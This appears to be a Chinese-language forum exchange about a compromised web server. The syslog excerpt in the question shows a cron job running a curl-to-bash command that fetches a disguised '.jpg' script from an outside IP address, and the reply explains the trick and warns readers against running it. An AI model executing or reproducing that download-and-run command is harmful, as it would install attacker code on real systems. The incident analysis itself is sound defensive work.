我的服务器肯定受到了损害。现在我想找到黑客进入服务器的位置。在攻击之前,我可以在 syslog 中看到:
May 13 01:28:23 eee crontab[10680]: (www-data) DELETE (www-data)
May 13 01:28:23 eee crontab[10681]: (www-data) REPLACE (www-data)
May 13 01:29:01 eee cron[955]: (www-data) RELOAD (crontabs/www-data)
May 13 01:29:01 eee CRON[10697]: (www-data) CMD (curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s)
它能够添加 cronjob 并调用一些图像文件。我在哪里寻找线索?谢谢你。
仔细看看 curl cronjob。
它执行一个 bash 命令,bash 脚本的名称是 logo11.jpg。
这只是一个非常便宜的技巧,而且不是很复杂。如果你把命令放在另一个顺序并下载文件,命令看起来像这样:
请小心,不要下载文件并执行。这是信息性的
所以不要被结尾的 .jpg 所迷惑。它不是 jpg,它只是一个带有以下命令的纯文本文件。
一旦它在你的 cron 中,bash 将简单地执行这个“文本”文件,它实际上是一个小的 bash 脚本。容易吧?
仅供参考 - 我通过电子邮件发送给 ISP 来查看这个,ip 仍然存在并且文件仍然可以下载。这是体面的事情,这就是我写这篇文章的原因。几行代码可以帮助管理员同事。